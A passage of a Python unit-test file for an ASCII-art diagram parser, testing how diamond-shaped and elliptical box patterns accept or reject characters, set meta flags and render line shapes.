feed_input(p,0,4, ". \n")
feed_input(p,1,0," .' '")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,6,"'",core.M_NONE))
def test_expects_right_side_period_unnoccupied(self):
p = self.pclass()
feed_input(p,0,4, ". \n")
feed_input(p,1,0," .' '")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,6,".",core.M_OCCUPIED))
def test_allows_rest_of_second_line(self):
p = self.pclass()
feed_input(p,0,4, ". \n")
feed_input(p,1,0," .' '.")
p.test(main.CurrentChar(1,7,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(1,8,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(1,9,"\n",core.M_OCCUPIED))
def test_allows_start_of_third_line(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '. \n")
p.test(main.CurrentChar(2,0,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(2,1,"b",core.M_OCCUPIED))
def test_expects_left_angle_bracket(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '.\n")
feed_input(p,2,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,2,"'",core.M_NONE))
def test_expects_left_angle_bracket_unoccupied(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '.\n")
feed_input(p,2,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,2,"<",core.M_OCCUPIED))
def test_allows_middle_content_line(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '.\n")
feed_input(p,2,0," <")
p.test(main.CurrentChar(2,3,"v",core.M_OCCUPIED))
p.test(main.CurrentChar(2,4,"w",core.M_OCCUPIED))
p.test(main.CurrentChar(2,5,"x",core.M_OCCUPIED))
p.test(main.CurrentChar(2,6,"y",core.M_OCCUPIED))
p.test(main.CurrentChar(2,7,"z",core.M_OCCUPIED))
def test_expects_right_angle_bracket(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '. \n")
feed_input(p,2,0," < ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,8,"'",core.M_NONE))
def test_expects_right_angle_bracket_unoccupied(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '. \n")
feed_input(p,2,0," < ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,8,">",core.M_OCCUPIED))
def test_allows_rest_of_middle_line(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '.\n")
feed_input(p,2,0," < >")
p.test(main.CurrentChar(2,9,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(2,10,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(2,11,"\n",core.M_OCCUPIED))
def test_allows_start_of_next_to_bottom_line(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '.\n")
feed_input(p,2,0," < >\n")
p.test(main.CurrentChar(3,0,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(3,1,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(3,2,"c",core.M_OCCUPIED))
def test_expects_bottom_left_apos(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '.\n")
feed_input(p,2,0," < >\n")
feed_input(p,3,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,3,".",core.M_NONE))
def test_expects_bottom_left_apos_unoccupied(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '.\n")
feed_input(p,2,0," < >\n")
feed_input(p,3,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,3,"'",core.M_OCCUPIED))
def test_expects_bottom_left_period(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '.\n")
feed_input(p,2,0," < >\n")
feed_input(p,3,0," '")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,4,"'",core.M_NONE))
def test_expects_bottom_left_period_unoccupied(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '.\n")
feed_input(p,2,0," < >\n")
feed_input(p,3,0," '")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,4,".",core.M_OCCUPIED))
def test_allows_next_to_bottom_content_line(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '.\n")
feed_input(p,2,0," < >\n")
feed_input(p,3,0," '.")
p.test(main.CurrentChar(3,5,"r",core.M_OCCUPIED))
def test_expects_bottom_right_period(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '.\n")
feed_input(p,2,0," < >\n")
feed_input(p,3,0," '. ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,6,"'",core.M_NONE))
def test_expects_bottom_right_period_unoccupied(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '.\n")
feed_input(p,2,0," < >\n")
feed_input(p,3,0," '. ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,6,".",core.M_OCCUPIED))
def test_expects_bottom_right_apos(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '.\n")
feed_input(p,2,0," < >\n")
feed_input(p,3,0," '. .")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,7,".",core.M_NONE))
def test_expects_bottom_right_apos_unoccupied(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '.\n")
feed_input(p,2,0," < >\n")
feed_input(p,3,0," '. .")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,7,"'",core.M_OCCUPIED))
def test_allows_rest_of_next_to_bottom_line(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '.\n")
feed_input(p,2,0," < >\n")
feed_input(p,3,0," '. .'")
p.test(main.CurrentChar(3,8,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(3,9,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(3,10,"\n",core.M_OCCUPIED))
def test_allows_start_of_bottom_line(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '.\n")
feed_input(p,2,0," < >\n")
feed_input(p,3,0," '. .' \n")
p.test(main.CurrentChar(4,0,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(4,1,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(4,2,"c",core.M_OCCUPIED))
p.test(main.CurrentChar(4,3,"d",core.M_OCCUPIED))
p.test(main.CurrentChar(4,4,"e",core.M_OCCUPIED))
def test_expects_bottom_apos(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '.\n")
feed_input(p,2,0," < >\n")
feed_input(p,3,0," '. .' \n")
feed_input(p,4,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(4,5,".",core.M_NONE))
def test_expects_bottom_apos_unoccupied(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '.\n")
feed_input(p,2,0," < >\n")
feed_input(p,3,0," '. .' \n")
feed_input(p,4,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(4,5,"'",core.M_OCCUPIED))
def test_allows_rest_of_bottom_line(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '.\n")
feed_input(p,2,0," < >\n")
feed_input(p,3,0," '. .' \n")
feed_input(p,4,0," '")
p.test(main.CurrentChar(4,6,"x",core.M_OCCUPIED))
p.test(main.CurrentChar(4,7,"y",core.M_OCCUPIED))
p.test(main.CurrentChar(4,8,"\n",core.M_OCCUPIED))
def test_allows_missing_final_line(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '. \n")
feed_input(p,2,0," < >\n")
feed_input(p,3,0," '. .' \n")
feed_input(p,4,0," ' \n")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(5,0,core.END_OF_INPUT,core.M_NONE))
def test_allows_short_final_line(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," .' '. \n")
feed_input(p,2,0," < >\n")
feed_input(p,3,0," '. .' \n")
feed_input(p,4,0," ' \n")
feed_input(p,5,0," \n")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(6,0," ",core.M_NONE))
def test_allows_larger_size(self):
p = self.pclass()
feed_input(p,0,6, ". \n")
feed_input(p,1,0," .' '. \n")
feed_input(p,2,0," .' '. \n")
feed_input(p,3,0," < > \n")
feed_input(p,4,0," '. .' \n")
feed_input(p,5,0," '. .' \n")
feed_input(p,6,0," ' \n")
feed_input(p,7,0," ")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(7,7," ",core.M_NONE))
def test_allows_small_size(self):
p = self.pclass()
feed_input(p,0,5, ". \n")
feed_input(p,1,0," < > \n")
feed_input(p,2,0," ' \n")
feed_input(p,3,0," ")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(3,6," ",core.M_NONE))
def test_allows_to_start_with_apos(self):
p = self.pclass()
feed_input(p,0,4, ".'. \n")
feed_input(p,1,0," .' '. \n")
feed_input(p,2,0," < >\n")
feed_input(p,3,0," '. .' \n")
feed_input(p,4,0," '.' \n")
feed_input(p,5,0," ")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(5,7," ",core.M_NONE))
def test_allowed_to_touch_left_edge(self):
p = self.pclass()
feed_input(p,0,3, ". \n")
feed_input(p,1,0," .' '. \n")
feed_input(p,2,0,"< > \n")
feed_input(p,3,0," '. .' \n")
feed_input(p,4,0," ' \n")
def test_allows_short_lines(self):
p = self.pclass()
feed_input(p,0,7, ".\n")
feed_input(p,1,0," .' '.\n")
feed_input(p,2,0," .' '.\n")
feed_input(p,3,0," < >\n")
feed_input(p,4,0," '. .'\n")
feed_input(p,5,0," '. .'\n")
feed_input(p,6,0," '\n")
feed_input(p,7,0," ")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(7,8," ",core.M_NONE))
def test_allows_short_lines_apos_peak(self):
p = self.pclass()
feed_input(p,0,6, ".'.\n")
feed_input(p,1,0," .' '.\n")
feed_input(p,2,0," .' '.\n")
feed_input(p,3,0," < >\n")
feed_input(p,4,0," '. .'\n")
feed_input(p,5,0," '. .'\n")
feed_input(p,6,0," '.'\n")
feed_input(p,7,0," ")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(7,9," ",core.M_NONE))
def test_sets_correct_meta_flags(self):
input = ((6, ". \n"),
(0," .' '. \n"),
(0," .' '. \n"),
(0," < > \n"),
(0," '. .' \n"),
(0," '. .' \n"),
(0," ' \n"),
(0," " ),)
o = core.M_OCCUPIED
n = core.M_NONE
a = core.M_OCCUPIED | core.M_BOX_START_S | core.M_BOX_START_E
z = core.M_BOX_AFTER_E | core.M_BOX_AFTER_S
l = core.M_OCCUPIED | core.M_BOX_START_E
r = core.M_BOX_AFTER_E
t = core.M_BOX_START_S | core.M_OCCUPIED
b = core.M_BOX_AFTER_S
meta = (( a,r,n,n,n,n,n,n,),
(n,n,n,n,a,t,n,t,t,r,n,n,n,n,),
(n,n,a,t,n,n,n,n,n,t,t,r,n,n,),
(n,a,n,n,n,n,n,n,n,n,n,t,r,n,), # mid
(n,b,l,o,n,n,n,n,n,o,o,z,n,n,),
(n,n,b,b,l,o,n,o,o,z,b,n,n,n,),
(n,n,n,n,b,b,l,z,b,n,n,n,n,n,),
(n,n,n,n,n,n,b, ),)
p = self.pclass()
for j,(linestart,line) in enumerate(input):
for i,char in enumerate(line):
m = p.test(main.CurrentChar(j,linestart+i,char,core.M_NONE))
self.assertEquals(meta[j][i],m)
def do_render(self,x,y,w):
p = self.pclass()
apeak = (w-3)%4 == 2
h = 3+2*((w-3-2*int(apeak))//4)
feed_input(p,y,x-int(apeak),".'. \n" if apeak else ". \n")
for i in range((h-3)//2):
feed_input(p,y+1+i,0,(x-int(apeak)-2*(i+1))*" "
+ ".'" + " "*(i*4+1+2*int(apeak)) + "'. \n")
feed_input(p,y+(h+1)//2-1,0,(x-(w//2))*" " + "<" + " "*(w-2) + "> \n")
for i in range(((h-3)//2)-1,-1,-1):
feed_input(p,y+(h-3)//2+2+((h-3)//2-1-i),0,(x-int(apeak)-2*(i+1))*" "
+ "'." + " "*(i*4+1+2*int(apeak)) + ".' \n")
feed_input(p,y+h-1,0," "*(x-int(apeak)) + ("'.' \n" if apeak else "' \n"))
feed_input(p,y+h,0," "*(x+1+int(apeak)))
try:
p.test(main.CurrentChar(y+h,x+1+int(apeak)," ",core.M_NONE))
except StopIteration: pass
return p.render()
def test_render_returns_correct_shapes(self):
r = self.do_render(10,12,7)
self.assertEquals(4, len(r))
self.assertEquals(4, len(filter(lambda x: isinstance(x,core.Line),r)))
def test_render_position(self):
r = self.do_render(10,12,7)
nw = self.find_with(r,"b",(7.5,14.5))
self.assertEquals((10.5,12.5),nw.a)
ne = self.find_with(r,"b",(13.5,14.5))
self.assertEquals((10.5,12.5),ne.a)
sw = self.find_with(r,"a",(7.5,14.5))
self.assertEquals((10.5,16.5),sw.b)
se = self.find_with(r,"a",(13.5,14.5))
self.assertEquals((10.5,16.5),se.b)
def test_render_size(self):
r = self.do_render(10,12,13)
nw = self.find_with(r,"b",(4.5,15.5))
self.assertEquals((10.5,12.5),nw.a)
ne = self.find_with(r,"b",(16.5,15.5))
self.assertEquals((10.5,12.5),ne.a)
sw = self.find_with(r,"a",(4.5,15.5))
self.assertEquals((10.5,18.5),sw.b)
se = self.find_with(r,"a",(16.5,15.5))
self.assertEquals((10.5,18.5),se.b)
def test_render_z(self):
for shape in self.do_render(10,12,7):
self.assertEquals(1, shape.z)
def test_render_stroke(self):
for shape in self.do_render(10,12,7):
self.assertEquals(core.C_FOREGROUND,shape.stroke)
def test_render_stroke_alpha(self):
for shape in self.do_render(10,12,7):
self.assertEquals(1.0,shape.salpha)
def test_render_stroke_width(self):
for shape in self.do_render(10,12,7):
self.assertEquals(1, shape.w)
def test_render_stroke_style_solid(self):
for shape in self.do_render(10,12,7):
self.assertEquals(core.STROKE_SOLID,shape.stype)
class TestEllipticalBoxPattern(unittest.TestCase,PatternTests):
def __init__(self,*args,**kargs):
unittest.TestCase.__init__(self,*args,**kargs)
self.pclass = patterns.EllipticalBoxPattern
def test_accepts_small_ellipse(self):
p = self.pclass()
feed_input(p,1,2, ".-. \n")
feed_input(p,2,0," | | \n")
feed_input(p,3,0," '-' \n")
feed_input(p,4,0," ")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(4,5," ",core.M_NONE))
def test_expects_top_left_period(self):
p = self.pclass()
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,5,"?",core.M_NONE))
def test_expects_top_left_period_unoccupied(self):
p = self.pclass()
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,5,".",core.M_OCCUPIED))
def test_expects_top_hyphen(self):
p = self.pclass()
feed_input(p,1,5,".")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,6,".",core.M_NONE))
def test_expects_top_hyphen_unoccupied(self):
p = self.pclass()
feed_input(p,1,5,".")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,6,"-",core.M_OCCUPIED))
def test_expects_top_right_period(self):
p = self.pclass()
feed_input(p,1,5,".-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,7,"?",core.M_NONE))
def test_expects_top_right_period_unoccupied(self):
p = self.pclass()
feed_input(p,1,5,".-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,7,".",core.M_OCCUPIED))
def test_allows_rest_of_top_line(self):
p = self.pclass()
feed_input(p,1,5,".-.")
p.test(main.CurrentChar(1,8,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(1,9,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(1,10,"\n",core.M_OCCUPIED))
def test_allows_start_of_second_line(self):
p = self.pclass()
feed_input(p,1,5,".-. \n")
p.test(main.CurrentChar(2,0,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(2,1,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(2,2,"c",core.M_OCCUPIED))
p.test(main.CurrentChar(2,3,"d",core.M_OCCUPIED))
def test_expects_left_pipe(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,4,"?",core.M_NONE))
def test_expects_left_pipe_unoccupied(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,4,"|",core.M_OCCUPIED))
def test_allows_middle_content(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," |")
p.test(main.CurrentChar(2,5,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(2,6,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(2,7,"c",core.M_OCCUPIED))
def test_rejects_short_content_line(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," | \n")
with self.assertRaises(core.PatternRejected):
feed_input(p,3,0," ")
def test_expects_right_pipe(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," | ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,8,"'",core.M_NONE))
def test_expects_right_pipe_unoccupied(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," | ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,8,"|",core.M_OCCUPIED))
def test_allows_rest_of_third_line(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," | |")
p.test(main.CurrentChar(2,9,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(2,10,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(2,11,"\n",core.M_OCCUPIED))
def test_allows_start_of_fourth_line(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," | | \n")
p.test(main.CurrentChar(3,0,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(3,1,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(3,2,"c",core.M_OCCUPIED))
p.test(main.CurrentChar(3,3,"d",core.M_OCCUPIED))
p.test(main.CurrentChar(3,4,"e",core.M_OCCUPIED))
def test_expects_bottom_left_apos(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," | | \n")
feed_input(p,3,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,5,"Q",core.M_NONE))
def test_expects_bottom_left_apos_unoccupied(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," | | \n")
feed_input(p,3,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,5,"'",core.M_OCCUPIED))
def test_expects_bottom_hyphen(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," | | \n")
feed_input(p,3,0," '")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,6,"'",core.M_NONE))
def test_expects_bottom_hyphen_unoccupied(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," | | \n")
feed_input(p,3,0," '")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,6,"-",core.M_OCCUPIED))
def test_expects_bottom_right_apos(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," | | \n")
feed_input(p,3,0," '-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,7,"|",core.M_NONE))
def test_expects_bottom_right_apos_unoccupied(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," | | \n")
feed_input(p,3,0," '-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,7,"'",core.M_OCCUPIED))
def test_allows_rest_of_fourth_line(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," | | \n")
feed_input(p,3,0," '-'")
p.test(main.CurrentChar(3,8,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(3,9,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(3,10,"\n",core.M_OCCUPIED))
def test_allows_final_line(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," | | \n")
feed_input(p,3,0," '-' \n")
p.test(main.CurrentChar(4,0,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(4,1,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(4,2,"c",core.M_OCCUPIED))
p.test(main.CurrentChar(4,3,"d",core.M_OCCUPIED))
p.test(main.CurrentChar(4,4,"e",core.M_OCCUPIED))
p.test(main.CurrentChar(4,5,"f",core.M_OCCUPIED))
p.test(main.CurrentChar(4,6,"g",core.M_OCCUPIED))
p.test(main.CurrentChar(4,7,"h",core.M_OCCUPIED))
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(4,8,"i",core.M_OCCUPIED))
def test_allows_missing_final_line_due_to_eoi(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," | | \n")
feed_input(p,3,0," '-' \n")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(4,0,core.END_OF_INPUT,core.M_NONE))
def test_allows_missing_final_line_due_to_short_line(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," | | \n")
feed_input(p,3,0," '-' \n")
feed_input(p,4,0,"\n")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(5,0," ",core.M_NONE))
def test_allows_partial_final_line(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," | | \n")
feed_input(p,3,0," '-' \n")
feed_input(p,4,0," \n")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(5,0," ",core.M_NONE))
def test_allows_wide_ellipse(self):
p = self.pclass()
feed_input(p,1,5, ".----. \n")
feed_input(p,2,0," | | \n")
feed_input(p,3,0," '----' \n")
feed_input(p,4,0," ")
with self.assertRaises(StopIteration):
feed_input(p,4,11," ")
def test_middle_width_must_match_top(self):
p = self.pclass()
feed_input(p,1,5, ".----. \n")
feed_input(p,2,0," | ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,11," ",core.M_NONE))
def test_bottom_width_must_match_top(self):
p = self.pclass()
feed_input(p,1,5, ".----. \n")
feed_input(p,2,0," | | \n")
feed_input(p,3,0," '----")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,10,"-",core.M_NONE))
def test_allows_tall_ellipse(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," | | \n")
feed_input(p,3,0," | | \n")
feed_input(p,4,0," | | \n")
feed_input(p,5,0," '-' \n")
feed_input(p,6,0," ")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(6,8," ",core.M_NONE))
def test_allows_slash_corners(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," / \\ \n")
feed_input(p,3,0," | | \n")
feed_input(p,4,0," \\ / \n")
feed_input(p,5,0," '-' \n")
feed_input(p,6,0," ")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(6,8," ",core.M_NONE))
def test_expects_top_left_slash_unoccupied(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,4,"/",core.M_OCCUPIED))
def test_expects_top_right_slash(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," / ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,8,"|",core.M_NONE))
def test_expects_top_right_slash_unoccupied(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," / ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,8,"\\",core.M_OCCUPIED))
def test_doesnt_allow_top_slashes_without_periods(self):
p = self.pclass()
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,5,"/",core.M_NONE))
def test_expects_bottom_left_slash(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," / \\ \n")
feed_input(p,3,0," | | \n")
feed_input(p,4,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(4,4,"'",core.M_NONE))
def test_expecst_bottom_left_slash_unoccupied(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," / \\ \n")
feed_input(p,3,0," | | \n")
feed_input(p,4,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(4,4,"\\",core.M_OCCUPIED))
def test_expects_bottom_right_slash(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," / \\ \n")
feed_input(p,3,0," | | \n")
feed_input(p,4,0," \\ ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(4,8,"'",core.M_NONE))
def test_expects_bottom_right_slash_unoccupied(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," / \\ \n")
feed_input(p,3,0," | | \n")
feed_input(p,4,0," \\ ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(4,8,"/",core.M_OCCUPIED))
def test_doesnt_allow_bottom_slashes_without_apos(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," / \\ \n")
feed_input(p,3,0," | | \n")
feed_input(p,4,0," \\ / \n")
feed_input(p,5,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(5,5,"-",core.M_NONE))
def test_allows_multiple_slashes(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0, " / \\ \n")
feed_input(p,3,0, " / \\ \n")
feed_input(p,4,0, " / \\ \n")
feed_input(p,5,0, " | | \n")
feed_input(p,6,0, " \\ / \n")
feed_input(p,7,0, " \\ / \n")
feed_input(p,8,0, " \\ / \n")
feed_input(p,9,0, " '-' \n")
feed_input(p,10,0," ")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(10,8," ",core.M_NONE))
def test_expects_matching_top_right_slashes_short(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," / \\ \n")
feed_input(p,3,0," / ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(3,9,"|",core.M_NONE))
def test_expects_matching_top_right_slashes_long(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," / \\ \n")
feed_input(p,3,0," / \\ \n")
feed_input(p,4,0," | ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(4,10,"\\",core.M_NONE))
def test_expects_matching_bottom_left_slashes_short(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," / \\ \n")
feed_input(p,3,0," / \\ \n")
feed_input(p,4,0," | | \n")
feed_input(p,5,0," \\ / \n")
feed_input(p,6,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(6,4,"'",core.M_NONE))
def test_expects_matching_bottom_left_slashes_long(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," / \\ \n")
feed_input(p,3,0," / \\ \n")
feed_input(p,4,0," | | \n")
feed_input(p,5,0," \\ / \n")
feed_input(p,6,0," \\ / \n")
feed_input(p,7,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(7,5,"\\",core.M_NONE))
def test_expects_matching_bottom_right_slashes_short(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," / \\ \n")
feed_input(p,3,0," / \\ \n")
feed_input(p,4,0," | | \n")
feed_input(p,5,0," \\ / \n")
feed_input(p,6,0," \\ ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(6,8,"'",core.M_NONE))
def test_expects_matching_bottom_right_slashes_long(self):
p = self.pclass()
feed_input(p,1,5, ".-. \n")
feed_input(p,2,0," / \\ \n")
feed_input(p,3,0," / \\ \n")
feed_input(p,4,0," | | \n")
feed_input(p,5,0," \\ / \n")
feed_input(p,6,0," \\ / \n")
feed_input(p,7,0," '-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(7,7,"/",core.M_NONE))
def test_sets_correct_meta_flags(self):
p = self.pclass()
input = ((4, ".---. \n"),
(0," / \\ \n"),
(0," | | \n"),
(0," | | \n"),
(0," \\ / \n"),
(0," '---' \n"),
(0," " ),)
n = core.M_NONE
o = core.M_OCCUPIED
t = core.M_BOX_START_S | core.M_OCCUPIED
a = core.M_BOX_START_S | core.M_BOX_START_E | core.M_OCCUPIED
l = core.M_BOX_START_E | core.M_OCCUPIED
r = core.M_BOX_AFTER_E
b = core.M_BOX_AFTER_S
z = core.M_BOX_AFTER_E | core.M_BOX_AFTER_S
meta = (( a,t,t,t,t,r,n,n,n,n,),
(n,n,n,a,n,n,n,n,n,t,r,n,n,n,),
(n,n,a,n,n,n,n,n,n,n,t,r,n,n,),
(n,n,l,n,n,n,n,n,n,n,o,r,n,n,),
(n,n,b,l,n,n,n,n,n,o,z,n,n,n,),
(n,n,n,b,l,o,o,o,o,z,n,n,n,n,),
(n,n,n,n,b,b,b,b,b ),)
for j,(linestart,line) in enumerate(input):
for i,char in enumerate(line):
self.assertEquals(meta[j][i],
p.test(main.CurrentChar(j,linestart+i,char,core.M_NONE)))
def do_render(self,x,y,w,h):
p = self.pclass()
feed_input(p,y,x,"." + "-"*(w-6) + ". \n")
